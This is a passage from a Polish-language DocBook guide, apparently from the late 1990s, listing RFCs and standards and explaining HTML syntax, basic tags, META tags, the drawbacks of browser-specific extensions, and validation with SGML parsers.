12/01/1987. (Liczba stron: 19) (Unieważnia RFC0850)</PARA>
</LISTITEM>
<LISTITEM>
<PARA ID="RFC2076"><ULINK URL="http://SunSite.ICM.edu.pl/pub/doc/rfc/rfc2076.txt" ROLE="rfc">RFC 2076</ULINK>
<EMPHASIS>I</EMPHASIS>
J. Palme
<EMPHASIS>Common Internet Message Headers</EMPHASIS>
02/00/1997.
(stron 26)</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://SunSite.ICM.edu.pl/pub/doc/rfc/rfc2142.txt" ROLE="rfc">RFC 2142</ULINK>
<EMPHASIS>PS</EMPHASIS>
D. Crocker
<EMPHASIS>MAILBOX NAMES FOR COMMON SERVICES, ROLES AND FUNCTIONS</EMPHASIS>
05/06/1997 (Liczba stron --- 6)</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</SECT1>
<SECT1 ID="STD-GRAFIKA">
<TITLE ID="RFC-GRAFIKA">Grafika</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.dcs.ed.ac.uk/home/mxr/gfx/" ROLE="htmlurl">GIF
- GRAPHICS INTERCHANGE FORMAT(sm) Version 89a</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.dcs.ed.ac.uk/home/mxr/gfx/" ROLE="htmlurl">JPEG Specification</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA ID="RFC2083"><ULINK URL="http://SunSite.ICM.edu.pl/pub/doc/rfc/rfc2083.txt" ROLE="rfc">RFC 2083</ULINK>
<EMPHASIS>I</EMPHASIS>
T. Boutell,
<EMPHASIS>PNG (Portable Network Graphics) Specification Version 1.0</EMPHASIS>
01/16/1997. (Liczba stron --- 102)</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</SECT1>
<SECT1 ID="STD-WIELOJEZYCZNOSC">
<TITLE ID="RFC-MULTILANG">Wielojęzyczność</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA ID="STD-ISO639"><ULINK URL="http://www.cm.spyglass.com/unicode/Languages.html" ROLE="htmlurl">ISO 639:1988</ULINK>
<EMPHASIS>Language Codes</EMPHASIS></PARA>
</LISTITEM>
<LISTITEM>
<PARA ID="STD-ISO3166"><ULINK URL="http://www.cm.spyglass.com/unicode/Countries.html" ROLE="htmlurl">ISO 3166:1993</ULINK>
<EMPHASIS>Country Codes</EMPHASIS></PARA>
</LISTITEM>
<LISTITEM>
<PARA ID="RFC1766"><ULINK URL="http://SunSite.ICM.edu.pl/pub/doc/rfc/rfc1766.txt" ROLE="rfc">RFC 1766</ULINK>
<EMPHASIS>PS</EMPHASIS>
H. Alvestrand,
<EMPHASIS>Tags for the Identification of Languages</EMPHASIS>
03/02/1995. (Liczba stron: 9)</PARA>
</LISTITEM>
<LISTITEM>
<PARA ID="RFC2070"><ULINK URL="http://SunSite.ICM.edu.pl/pub/doc/rfc/rfc2070.txt" ROLE="rfc">RFC 2070</ULINK>
<EMPHASIS>PS</EMPHASIS>
F. Yergeau, G.
Nicol, G. Adams, M. Duerst,
<EMPHASIS>Internationalization of the
Hypertext Markup Language</EMPHASIS>
01/06/1997. (Liczba stron ---
43)</PARA>
</LISTITEM>
<LISTITEM>
<PARA ID="RFC1815"><ULINK URL="http://SunSite.ICM.edu.pl/pub/doc/rfc/rfc1815.txt" ROLE="rfc">RFC 1815</ULINK>
<EMPHASIS>I</EMPHASIS>
M. Ohta
<EMPHASIS>Character Sets ISO-10646 and ISO-10646-J-1</EMPHASIS>
08/01/1995. (Liczba stron --- 6)</PARA>
</LISTITEM>
<LISTITEM>
<PARA ID="RFC2151-"><ULINK URL="http://SunSite.ICM.edu.pl/pub/doc/rfc/rfc2152.txt" ROLE="rfc">RFC 2151</ULINK>
<EMPHASIS>I</EMPHASIS>
D. Goldsmith,
M. Davis
<EMPHASIS>A Mail-Safe Transformation Format of Unicode</EMPHASIS>
06/03/1997. (Liczba stron --- 12) (Unieważnia RFC1642)</PARA>
</LISTITEM>
<LISTITEM>
<PARA><EMPHASIS ID="STD-UNICODE">The Unicode Standard Ver. 2.0</EMPHASIS>
The Unicode Consortium
<ULINK URL="http://www.aw.com/devpress/" ROLE="htmlurl">Addison Wesley DevelopersPress</ULINK>
(ISBN
0-201-48395-9)</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
<PARA></PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.utoronto.ca/webdocs/Official/overview.html" ROLE="htmlurl">The Official Documents Defining the Web</ULINK>
Iana Grahama</PARA>
</LISTITEM>
<LISTITEM>
<PARA>Computers and Communication Entry Page --- 
<ULINK URL="http://www.cmpcmm.com/cc/standards.html" ROLE="htmlurl">Standards (and Cross References)</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.ics.uci.edu/pub/ietf/" ROLE="htmlurl">IETF Working Groups</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
</CHAPTER>
<CHAPTER ID="KOD-HTML">
<TITLE>HTML</TITLE>
<PARA>_</PARA>
<SECT1 ID="HTML-SKLADNIA">
<TITLE>Składnia HTML</TITLE>
<PARA>HTML jest aplikacją
<LINK LINKEND="SGML">SGMLa</LINK>
Składnia dokumentu HTML jest definiowana przez kombinację
<EMPHASIS>deklaracji SGML</EMPHASIS>
(definiującej m.in. zakres dopuszczalnych znaków) oraz
<EMPHASIS>DTD.</EMPHASIS>
Wyrażenia znakujące (elementy) składają się z częściej otwierającej i
zamykającej. W pierwszej części jest to sekwencja
<SGMLTAG>&lt;

znacznik&lt;

</SGMLTAG>
a kończy:
<SGMLTAG>&lt;

/znacznik&lt;

</SGMLTAG>
(&lt;
 to znak mniejszości zaś &lt;
 to znak większości i są to HTML (i w
większości języków opartych na SGMLu) znaki zastrzeżone do znakowania). Po
właściwym poleceniu mogą następować jego atrybuty (wraz z wartościami)
<SGMLTAG>&lt;

znacznik atrybut=wartość opcja&lt;

</SGMLTAG>
Nie są istotne typowe elementy sterujące: spacje, tabulatory, znaki
końca linii (ogólnie znaki o kodzie ASCII poniżej 32 -- są one ,,zbijane'' w
jeden). W niektórych przypadkach nie jest wymagane zamknięcie polecenia
znakującego.(np. P, LI) choć czasem może się to nieciekawie skończyć
(zwłaszcza nie-kończenie poleceń ,,wymieniających'' takich jak UL, OL).</PARA>
<PARA>Część przydatnych na co dzień znaków używanych przez polecenia znakujące
została zastąpiona przez tzw.
<EMPHASIS>entitles</EMPHASIS>
rozpoczynających się od znaczka &amp; (Ampersand):
<ITEMIZEDLIST>
<LISTITEM>
<PARA>&lt;

 - &amp;amp;lt; - znak mniejszości</PARA>
</LISTITEM>
<LISTITEM>
<PARA>&lt;

 - &amp;amp;gt; - znak większości</PARA>
</LISTITEM>
<LISTITEM>
<PARA>" - &amp;amp;quot; - znak cala (stosowany powszechnie jako cudzysłów)</PARA>
</LISTITEM>
<LISTITEM>
<PARA>" &nbsp;" - &amp;amp;nbsp; - znak krótkiej spacji</PARA>
</LISTITEM>
<LISTITEM>
<PARA>&amp; - &amp;amp;</PARA>
</LISTITEM>
<LISTITEM>
<PARA>oraz znaki z zakresu powyżej 127 w tablicy ISO-8859-2 (Latin-1)</PARA>
</LISTITEM>
</ITEMIZEDLIST>
W parametrach atrybutów mogą (bez ujęcia w " lub ') występować
jedynie znaki z zakresu a-Z, poza tym kropki, znak przeniesienia
(dywiz). (występują przy tym problemy związane z literką ą w atrybutach
(nawet ujętą w cudzysłowy np. &lt;IMG SRC="foo" ALT="ąąą"&gt;). Istotna
jest kolejność zagnieżdżeń znaczników.</PARA>
</SECT1>
<SECT1 ID="SZKIELET">
<TITLE ID="HTML-SZKIELET">Najkrótszy dokument</TITLE>
<PARA>Według specyfikacji HTML 4.01 najkrótszy dokument wygląda w tak:
<SCREEN FORMAT="LINESPECIFIC"><SGMLTAG>&#60;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"&#62;
&#60;title&#62;Tytuł dokumentu&#60;/title&#62;</SGMLTAG></SCREEN>
choć zwykle stosuje się bardziej rozbudowaną postać:
<SCREEN FORMAT="LINESPECIFIC"><SGMLTAG>&#60;!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"&#62;
&#60;html&#62;
  &#60;head&#62;
    &#60;meta http-equiv="Content-type" content="text/html; charset=ISO-8859-2"&#62;
    &#60;!-- komentarz: to polski dodatek, niezbyt elegancki --&#62;
    &#60;title&#62;Tytul dokumentu&#60;/title&#62;
  &#60;/head&#62;
  &#60;body&#62;
    zawartosc dokumentu
  &#60;/body&#62;
&#60;/html&#62;</SGMLTAG></SCREEN></PARA>
</SECT1>
<SECT1 ID="ZNACZNIKI">
<TITLE ID="HTML-ZNACZNIKI">Podstawowe znaczniki</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><SGMLTAG>&lt;HTML&gt;</SGMLTAG>
oznaczenie początku dokumentu HTML</PARA>
</LISTITEM>
<LISTITEM>
<PARA><SGMLTAG>&lt;HEAD&gt;</SGMLTAG>
sekcja nagłówkowa (definicje dotyczące całego dokumentu, miejsce na
wsadzenie informacji o stosowanych stylach, relacjach między dokumentami
itp.).</PARA>
</LISTITEM>
<LISTITEM>
<PARA><SGMLTAG>&lt;BODY&gt;</SGMLTAG>
sekcja główna dokumentu (cała reszta ;-)</PARA>
</LISTITEM>
<LISTITEM>
<PARA><SGMLTAG>&lt;title&gt;</SGMLTAG>
tytuł dokumentu</PARA>
</LISTITEM>
<LISTITEM>
<PARA><SGMLTAG>&#60;A&#62;</SGMLTAG>
(od ANCHOR) wymaga co najmniej jednego z dwóch atrybutów:
<SGMLTAG>HREF="URL"</SGMLTAG>
lub
<SGMLTAG>name="punkt"</SGMLTAG>
oraz zakończenia (to co znajduje się pomiędzy początkiem a końcem
wyrażenia stanowi obszar aktywny połączenia (czyli trzeba kliknąć myszką
na tekście z wyrażenia aby uruchomić odnośnik i przenieść się do innego
dokumentu).</PARA>
</LISTITEM>
<LISTITEM>
<PARA><SGMLTAG>&#60;LINK&#62;</SGMLTAG>
pozwala na zdefiniowanie zależności między dokumentami.</PARA>
</LISTITEM>
<LISTITEM>
<PARA><SGMLTAG>&#60;META&#62;</SGMLTAG>
wnosi dodatkowe informacje na temat dokumentu.</PARA>
</LISTITEM>
<LISTITEM>
<PARA><SGMLTAG>&#60;STRONG&#62;</SGMLTAG>
wyróżnienie</PARA>
</LISTITEM>
<LISTITEM>
<PARA><SGMLTAG>&#60;EM&#62;</SGMLTAG>
wyróżnienie</PARA>
</LISTITEM>
<LISTITEM>
<PARA><SGMLTAG>&#60;H1&#62;</SGMLTAG>
nagłówek 1 stopnia</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
<PARA></PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA></PARA>
</FORMALPARA>
<PARA ID="HTML-KURSY"><ITEMIZEDLIST>
<LISTITEM>
<PARA><LINK LINKEND="STD-COGUAR">Standardy:</LINK>
<ULINK URL="http://www.w3.org/TR/REC-html40" ROLE="html">HTML 4.0.</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><LINK LINKEND="STD-WILBUR">Standardy:</LINK>
<ULINK URL="http://www.w3.org/TR/REC-html32" ROLE="html">HTML 3.0.</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><LINK LINKEND="RFC1866">Standardy: HTML 2.0. (oficjalny IETF)</LINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://htmlhelp.com/reference/wilbur/" ROLE="htmlurl">opis Wilbura czyli HTML 3.2</ULINK>
autorstwa Gallacusa
<ULINK URL="http://htmlhelp.com/distribution/" ROLE="htmlurl">(wersja off-line)</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.boutell.com/faq/" ROLE="htmlurl">WWW FAQ Thomasa Boutella</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.polbox.com.pl/lupus/html/index.htm" ROLE="htmlurl">Kurs HTML Pawła Wimmera z Wydawnictwa Lupus</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.ucc.ie/%E7pflynn/books/ch7-8.html" ROLE="htmlurl">Introduction to HTML</ULINK>
[w:] Peter Flynn,
"The WorldWideWeb Handbook" International Thomson Computer Press,
1995, ISBN 1-85032-205-8</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://winter.info.pl/html.htm" ROLE="htmlurl">Panorama HTML</ULINK>
z
<EMPHASIS>Projektu Winter</EMPHASIS></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://PoncLAND.xyz.lublin.pl/WWWhowto/" ROLE="htmlurl">WWWhowto - Jak zrobić swoja stronę WWW? Tomasza Piłata</ULINK>
(jest tam też działający on-line validating parser HTML Wilbur
<ULINK URL="http://PoncLAND.xyz.lublin.pl/SWAT/" ROLE="htmlurl">SWAT</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://wwwtech.net.pl/html/" ROLE="htmlurl">Trzy, Cztery ! URL, HTML</ULINK>
Wojtka Bogusza autora (lub administratora) m.in.
<ULINK URL="http://info.fuw.edu.pl/tech-doc/serwery.html" ROLE="htmlurl">Instalacja i konfiguracja serwera WWW</ULINK>
i
<ULINK URL="http://plwww.fuw.edu.pl/" ROLE="htmlurl">Polskiej Strony Domowej)</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.ia.pw.edu.pl/pl-iso/homepage-info.html" ROLE="htmlurl">Jak stworzyć własną stronę WWW (Grzegorza Wójcika)</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://home.elka.pw.edu.pl/%E7phikiert/" ROLE="htmlurl">HTML</ULINK>
wg Paweł Hikiert BOK</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://galaxy.uci.agh.edu.pl/%E7szymon/howto.html" ROLE="htmlurl">Jak zrobić własną stronę WWW</ULINK>
(wskazówki dla użytkowników z PK) (Szymona Sokoła i 
<ULINK URL="http://www.pk.edu.pl/sysdocs/howto.html" ROLE="htm">Grzegorza Muchy)</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>Yuriko Ienaga i Jan Peszko
<ULINK URL="http://www.ip.krakow.pl/%E7jpesz/html/html.html" ROLE="htmlurl">HTML Design Guide</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.wibro.agh.edu.pl/info/www/html/reference/" ROLE="htmlurl">Opis poleceń języka HTML z przykładami</ULINK>
Roberta Pająka</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://zeus.polsl.gliwice.pl/%7Ebort/local/how-to.html" ROLE="htmlurl">Jak zrobić swoja własną HomePage ?</ULINK>
Andrzeja Borta</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.polsl.gliwice.pl/%7Estatom/HTML/HTML.html" ROLE="htmlurl">Opis HTML autorstwa ,,Statoma''</ULINK>
czyli Tomasza Stankiewicza</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://werbach.com/barebones/" ROLE="htmlurl">The Bare Bones Guide to HTML</ULINK>
krótki (15kB) spis wszystkich komend HTML wraz z netscapizmami
(zaznaczonymi) --- dość stary.</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.ncsa.uiuc.edu/General/Internet/WWW/HTMLPrimer.html" ROLE="htmlurl">Beginner's Guide to HTML</ULINK>
z NCSA (autorstwa Marka Andreessena)</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.ncsa.uiuc.edu/SDG/Software/Mosaic/Docs/d2-htmlinfo.html" ROLE="htmlurl">Creating HTML Documents</ULINK>
(też NCSA)</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.utoronto.ca/webdocs/HTMLdocs/NewHTML/book.html" ROLE="htmlurl">Introduction to HTML Iana Grahama</ULINK>
(włącznie z rozbiorem HTML 2.0 DTD)</PARA>
</LISTITEM>
<LISTITEM>
<PARA>Włodzimierz Macewicz
<EMPHASIS>HTML. Język opisu dokumentu hipertekstowego</EMPHASIS>
<ULINK URL="http://www.pol.pl/witryna._p/mikom/" ROLE="htmlurl">Zakład Nauczania Informatyki ,,MiKOM''</ULINK>
(ISBN 83-7158-035-5) (dość dobra ściąga do pisania HTML ,,z palca'' jednak
brakuje w niej informacji o SGML, nie do końca jest też sens opisywać
co jaka przeglądarka akceptuje --- choć kiedyś podobało mi się to)</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.ietf.cnri.reston.va.us/html.charters/" ROLE="htmlurl">HTML Charter</ULINK>
--- poświęcona HTMLowi grupa robocza
<ULINK URL="http://www.ietf.org/" ROLE="htmlurl">IETF</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</SECT1>
<SECT1 ID="HTML-WSKAZOWKI">
<TITLE>Przydatne wskazówki</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA>gdy tworzysz większy zestaw dokumentów warto najpierw stworzyć projekt
(w tym graficzny), szablon dokumentu. Nie od rzeczy jest tutaj użycie
technologii CSS1 (w celu zapewnienia spójnej szaty graficznej serwisu ---
a to że jeszcze nie obsługują jej niektóre przeglądarki --- nie szkodzi
--- niedługo będą wszystkie).</PARA>
</LISTITEM>
<LISTITEM>
<PARA>staraj się tworzyć dokumenty ,,znaczeniowe'' a ,,wyglądowe''</PARA>
</LISTITEM>
<LISTITEM>
<PARA>pamiętaj o tym by w dokumencie (niekoniecznie w jego jawnej części)
znalazła się informacja o:
<ITEMIZEDLIST>
<LISTITEM>
<PARA>adresie pocztowym autora</PARA>
</LISTITEM>
<LISTITEM>
<PARA>dacie aktualizacji,</PARA>
</LISTITEM>
<LISTITEM>
<PARA>miejscu planowanej publikacji --- choć nie koniecznie trzeba do tego
celu używać konstrukcji
<SGMLTAG>&lt;

BASE HREF="http://moj.domek.pl/"&lt;

</SGMLTAG></PARA>
</LISTITEM>
<LISTITEM>
<PARA>prawach autorskich (zwłaszcza nie swoich)</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://htmlhelp.com/style/" ROLE="htmlurl">Style guide for on-line hypetext @ WDG - htmlhelp</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://winter.info.pl/24fe.htm" ROLE="htmlurl">Złote zasady dla projektantów serwisów @ Winter</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.w3.org/pub/WWW/Provider/Style/" ROLE="htmlurl">Style Guide for on-line hypertext @ W3C</ULINK>
--- Tim BL</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="METAINFO">
<TITLE ID="HTML-PRZESZUKIWARKI">Współpraca z przeszukiwarkami --- meta-informacje</TITLE>
<PARA>Warto dostosować swoje dokumenty do istnienia przeszukiwarek i innych
robotów przez zdefiniowanie dodatkowej informacji o dokumencie:
<ITEMIZEDLIST>
<LISTITEM>
<PARA><EMPHASIS>krótki opis</EMPHASIS>
&lt;
META name="Description" CONTENT="To jest krótki opis "&lt;

</PARA>
</LISTITEM>
<LISTITEM>
<PARA><EMPHASIS>słowa kluczowe</EMPHASIS>
&lt;
META name="Keywords" CONTENT="WWW, FAQ "&lt;

</PARA>
</LISTITEM>
<LISTITEM>
<PARA><EMPHASIS>informacja o prawach autorskich</EMPHASIS>
&lt;
META name="CopyRight" CONTENT="Ziemek Borowski (GNU v.2.0) "&lt;

</PARA>
</LISTITEM>
<LISTITEM>
<PARA><EMPHASIS>informacja o autorze</EMPHASIS>
&lt;
META name="Author" CONTENT="Ziemek Borowski "&lt;

</PARA>
</LISTITEM>
<LISTITEM>
<PARA><EMPHASIS>informacja o adresie pocztowym autora</EMPHASIS>
&lt;
LINK REV="MADE" HREF="mailto:ziembor@foo-bar.com.pl"&lt;

</PARA>
</LISTITEM>
<LISTITEM>
<PARA><EMPHASIS>data powstania dokumentów</EMPHASIS>
&lt;
META name="Create" CONTENT="Sat 15 Mar 1997 19:26:58 "&lt;

</PARA>
</LISTITEM>
<LISTITEM>
<PARA><EMPHASIS>data ostatniej modyfikacji dokumentu</EMPHASIS>
&lt;
META name="Modification" CONTENT="Sat 15 Mar 1997 19:26:58 "&lt;

</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
<PARA></PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://infoseek.icm.edu.pl/help/meta.html" ROLE="htmlurl">Wykorzystanie HTML-owych pól &lt;
META&gt; w Infoseek</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.altavista.pl/cgi-bin/query?pg=h#meta" ROLE="htmlurl">META etykieta: AltaVista i zarządzanie indeksowaniem strony w Webie</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://htmlhelp.com/reference/wilbur/" ROLE="htmlurl">Opis META w HTML 3.2 @ htmlhelp.com</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><LINK LINKEND="RDF">Resource Description Framework</LINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="HTML-DLACZEGO-STD">
<TITLE>Dlaczego standardy są takie ważne?</TITLE>
<PARA><EMPHASIS>Netscapizmami</EMPHASIS>
zwie się popularnie te rozszerzenia akceptowane tylko i wyłącznie przez
przeglądarki firmy Netscape Communication Corporation, i ostatnio
przez MS Internet Explorer, nie zarejestrowane w oficjalnej specyfikacji
(bądź jej propozycji) języka HTML. Nie należy ich używać ponieważ:
<ITEMIZEDLIST>
<LISTITEM>
<PARA>nie ma możliwości sensownego sprawdzenia parserem --- validatorem
SGML takiego dokumentu (zazwyczaj brak jest oficjalnych DTD (i nawet
nieoficjalnych, np. dla IE 3.0, lub NN 3.0) dla takich rozszerzeń --- choć
to się powoli zmienia).</PARA>
</LISTITEM>
<LISTITEM>
<PARA>dokumenty te nie zawsze mogą być poprawnie wyświetlane w przeglądarkach
innych producentów. A HTML będący (zwłaszcza w wersjach 2.0 i Wilbur)
bardzo ubogim jeśli chodzi o możliwe ,,fajerwerki'' zastosowaniem SGMLa, został stworzony po to, by
istniała wspólna, niezależna od sprzętu i systemu platforma informacyjna.</PARA>
</LISTITEM>
<LISTITEM>
<PARA>niektóre rozszerzenia nie mieszczą się w żaden sposób w składni
istniejących DTD HTML-owych ;-) np. te związane z ramkami... (FRAMES).</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
<FORMALPARA>
<TITLE>Netscape-HTML i MS-HTML</TITLE>
<PARA ID="NETSCAPE">Są to dialekty (slangi) HTMLa cechujące się z jednej strony rozmaitymi
<EMPHASIS>rozszerzeniami</EMPHASIS>
(extentions) a z drugiej ignorowaniem proponowanych przez innych
(np. ciała standaryzacyjne, konkurencję) nowych możliwości
np. proponowanych w szkicach dotyczących
<ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.w3.org/pub/WWW/MarkUp/html3/" ROLE="htmlurl">obsługi równań matematycznych w HTML 3.0</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://SunSite.ICM.edu.pl/pub/doc/rfc/rfc1942.txt" ROLE="htmlurl">tabel w RFC 1942</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST>
Problem z tymi swoistymi
<EMPHASIS>rozszerzeniami</EMPHASIS>
polega na tym, że przez tworzenie nie przemyślanych faktów blokują one
rozwój języka (trudno zachować spójność logiczną struktury dokumentu
jeśli w każdym jego miejscu może wystąpić jakieś polecenie (w tym wypadku
chodzi o nikomu w tej formie nie potrzebny znacznik CENTER).</PARA>
</FORMALPARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://server.berkeley.edu/%E7cdaveb/anybrowser.html" ROLE="htmlurl">Best Viewed With Any Browser</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://la.ists.pwr.wroc.pl/%E7coven/tech/mbc.html.po" ROLE="htmlurl">Multi Browser Compability</ULINK>
Pawła Więcka</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://home.netscape.com/assist/net_sites/html_extensions.html" ROLE="htmlurl">Netscape HTML Extensions</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.microsoft.com/workshop/default.asp" ROLE="htmlurl">Microsoft Corporation Site Developer Network </ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.earth.com/bad-style/" ROLE="htmlurl">HTML Bad Style Page</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://cast.stanford.edu/cast/www/donts.html" ROLE="htmlurl">Top 10 Things NOT to do on a Web Page</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.meat.com/netscape_hos.html" ROLE="htmlurl">Netscape @ Hall of Shame</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.axismundi.org/Cf/spiraea/amigaphil/WebAlert.html" ROLE="htmlurl">WebAlert</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="HTML-VALIDATE">
<TITLE>Jak kontrolować poprawność kodu?</TITLE>
<PARA>Dlaczego należy kontrolować poprawność kodu? To chyba oczywiste:
każdy chce żeby rzeczywisty efekt pokrywał się z planowanym, tak teraz
jak i w przyszłości, gdy przeglądarki będą np. ściślej trzymać się
standardu. Powszechnie stosowaną metodą jest ,,ręczne'' sprawdzanie za
pomocą wybranej dowolnie ,,przeglądarki testowej'' takiej jak np. Lynx,
Netscape, lub MS IE. Jest to działanie co najmniej wątpliwe: przeglądarka
powinna wyświetlać wszystkie (nawet z błędami składniowymi) strony
poprawnie, choć niekoniecznie zgodnie z intencjami jej autorów. Właściwą
formą sprawdzania strony jest raczej użycie parsera --- validatora SGML
takiego jak na przykład
<ULINK URL="http://www.jclark.com/sp/" ROLE="htmlurl">SP</ULINK>
Jamesa Clarka (dostępny tak dla DOS (32-ext.), Win32, jak i UNIXa wraz
z odpowiednim
<ULINK URL="http://www.w3.org/pub/WWW/MarkUp/html-pubtext/" ROLE="htmlurl">DTD dla stosowanego dialektu HTMLa</ULINK>
W wyniku kontroli np.
<COMMAND MOREINFO="NONE">nsgmls -m /usr/lib/pubtext/catalog -f nazwa.err -o nazwa.out nazwa.htm</COMMAND>
powstaje lista błędów (przez skierowanie potoku błędów do pliku) na
podstawie, której należy ,,ręcznie'' poprawić dokument. Dopiero potem
warto sprawdzić w przeglądarce, czy przypadkiem czegoś istotnego nie
przeoczyliśmy...</PARA>
<PARA>Dobrą metodą jest użycie jednego z wielu zdalnych weryfikatorów kodu HTMLa
(patrz niżej), lub jednego z dostępnych weryfikatorów ,,lokalnych'':
<ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="ftp://jclark.com/pub/sp/win32/" ROLE="htmlurl">SP Clarka
<FILENAME MOREINFO="NONE">ftp://ftp.jclark.com/pub/sp/win32/</FILENAME></ULINK>
z jedną z dostępnych dla Win32
<ULINK URL="http://www.sil.org/sgml/publicSW.html#spFrontEnds" ROLE="htmlurl">nakładek</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.cre.canon.co.uk/%7Eneilb/weblint/" ROLE="htmlurl">weblint (PERL)</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST>
Odradzałbym stanowczo używanie rozmaitych wynalazków przyjaznych, ale
nie do końca wiedzących co to są na przykład opcje minimalizacji.</PARA>
<PARA></PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA>Tomasz (Poncki) Piłat
<ULINK URL="http://PoncLAND.xyz.lublin.pl/SWAT/" ROLE="htmlurl">SWAT </ULINK>
--- bardzo dobre narzędzie dla tych którzy tworzą w HTML 3.2 (a wkrótce
i dla wszystkich --- bo wielkimi krokami zbliża się premiera SWATa jako
parsera SGMLowego w wersji 2.0.).</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://sunsite.icm.edu.pl/pub/Linux/sunsite/docs/howto/unmaintained/mini/HTML-Validation" ROLE="htmlurl">HTML-Validation HOWTO</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://htmlhelp.com/links/validators.htm" ROLE="htmlurl">Validations Services (WDG)</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://ugweb.cs.ualberta.ca/%7Egerald/validate/" ROLE="htmlurl">A Kinder, Gentler Validator --- oparty na nsgmls J. Clarka</ULINK>
--- klasyka gatunku, a obecnie dostępny i pod adresem
<ULINK URL="http://validator.w3.org/" ROLE="url"><FILENAME MOREINFO="NONE">http://validator.w3.org/</FILENAME></ULINK></PARA>
</LISTITEM>
